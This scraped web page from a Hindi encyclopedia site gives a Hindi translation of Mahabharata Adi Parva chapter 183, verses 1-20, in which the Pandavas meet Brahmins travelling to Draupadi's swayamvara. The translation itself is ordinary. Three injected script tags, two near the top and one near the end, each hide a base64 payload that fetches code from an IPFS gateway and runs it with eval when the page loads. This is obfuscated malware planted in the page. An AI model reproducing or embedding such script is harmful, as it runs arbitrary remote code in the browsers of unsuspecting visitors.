महाभारत आदि पर्व अध्याय 183 श्लोक 1-20

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

त्र्यशीत्‍यधिकशततम (183 ) अध्‍याय: आदि पर्व (चैत्ररथ पर्व)

महाभारत: आदि पर्व: त्र्यशीत्‍यधिकशततम अध्‍याय: श्लोक 1-20 का हिन्दी अनुवाद

पाण्‍डवों की पञ्चालयात्रा और मार्ग में ब्राह्मणों से बातचीत वैशम्‍पायनजी कहते हैं- जनमेजय ! तब वे नृपश्रेष्‍ठ पांचों भाई पाण्‍डव राजकुमारी द्रौपदी, उसके पांचालदेश और वहां के महान् उत्‍सव को देखने के लिये वहां से चल दिये। मनुष्‍यों में सिंह के समान वीर परंतप पाण्‍डव अपनी माता के साथ यात्रा कर रहे थे। उन्‍होंने मार्ग में देखा, बहुत से ब्राह्मण एक साथ जा रहे हैं। राजन् ! उन ब्रह्मचारी ब्राह्मणों ने पाण्‍डवों से पूछा- आप लोग कहां जायंगे और कहां से आ रहे हैं ?। युधिष्ठिर बोले-विप्रवरो ! आप लोगों को मालूम हो कि हम लोग एक साथ विचरने वाले सहोदर भाई हैं और अपनी माता के साथ एकचक्रा नगरी से आ रहे हैं। ब्राह्मणों ने कहा- आज ही पाञ्चाल देश को चालिये। वहां राजा द्रुपद के दरबार में महान् धन-धान्‍य से सम्‍पन्‍न स्‍वयंवर का बहुत बड़ा उत्‍सव होनेवाला है। हम सब लोग एक साथ चले हैं और वहीं जा रहे हैं। वहां अत्‍यन्‍त अद्रुत और बहुत बड़ा उत्‍सव होनेवाला है। यज्ञसेन नाम वाले महाराज द्रुपद के एक पुत्री है, जो यज्ञ की वेदी से प्रकट हुई है। उसके नेत्र विकसित कमल दल के समान सुन्‍दर हैं। उसका एक-एक अंग निर्दोष हैं। वह मनस्विनी सुकुमारी द्रुपद कन्‍या देखने ही योग्‍य है। द्रोणाचार्य के शत्रु प्रतापी धृष्‍टद्युम्‍न वह बहिन है। धृष्‍टद्युम्‍न वे ही हैं, जो कवच, धनुष, खंग और बाण के साथ उत्‍पन्‍न हुए हैं। महाबाहु धृष्‍टद्युम्‍न प्रज्‍वलित अग्नि से प्रकट होने के कारण अग्नि के समान ही तेजस्‍वी हैं। द्रौपदी निर्दोष अंगों तथा पतली कमरवाली है और उसके शरीर नीलकमल के समान सुगन्‍ध निकलकर एक कोस तक फैलती रहती है। वह उन्‍हीं धृष्‍टद्युम्‍न की बहिन है। यज्ञसेन की पुत्री द्रौपदी का स्‍वयंवर नियत हुआ है। अत: हम लोग उस राजकुमारी को तथा उस स्‍वयंवर के दिव्‍य महोत्‍सव को देखने के लिये वहां जा रहे हैं। (वहां) कितने ही प्रचुर दक्षिणा देनेवाले, यज्ञ करनेवाले, स्‍वाध्‍यायशील, पवित्र, नियमपूर्वक व्रत का पालन करनेवाले, महात्‍मा एवं तरुण अवस्‍थावाले दर्शनीय राजा और राजकुमार अनेक देशों से पधारेंगे। अस्‍त्रविद्या में निपुण महारथी भूमिपाल भी वहां आयेंगे । वे नरपतिगण अपनी-अपनी विजय के उद्देश्‍य से वहां नाना प्रकार के उपहार, धन, गौएं, भक्ष्‍य और भोज्‍य आदि सब प्रकार की वस्‍तुएं दान करेंगे । उनका वह सब दान ग्रहण कर, स्‍वयंवर को देखकर और उत्‍सव का आनन्‍द लेकर फिर हम लोग अपने अपने अभीष्‍ट स्‍थान को चले जायंगे। वहां अनेक देशों के नट, वैतालिक, नर्तक, सूत, मागध तथा अत्‍यन्‍त बलवान् मल्‍ल आयंगे। महात्‍माओ ! इस प्रकार हमारे साथ खेल करके, तमाशा देखकर और नाना प्रकार के दान ग्रहण करके फिर आप लोग भी लौट आइयेगा। आप सब लोगों का रुप तो देवताओं के समान है, आप सभी दर्शनीय हैं, आप लोगों को (वहां उपस्थित) देखकर द्रौपदी देवयोग से आप में से ही किसी एक को अपना वर चुन सकती है। आप लोगों के ये भाई अर्जुन तो बड़े सुन्‍दर और दर्शनीय है। इनकी भुजाएं बहुत बड़ी है। इन्‍हें यदि विजय के कार्य में नियुक्‍त कर दिया जाय, तो ये दैवात् बहुत बड़ी धनराशी जीत लाकर निश्‍चय ही आप लोगों को प्रसन्‍नता बढ़ायेंगे। युधिष्ठिर बोले-ब्राह्मणों ! हम भी द्रुपद कन्‍या के उस श्रेष्‍ठ स्‍वयंवर-महोत्‍सव को देखने के लिये आप लोगों के साथ चलेंगे।

इस प्रकार श्रीमहाभारत आदिपर्व के अन्‍तगर्त स्‍वयंवर में पाण्‍डव विषयक एक सौ तिरासीवां अध्‍याय पूरा हुआ।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।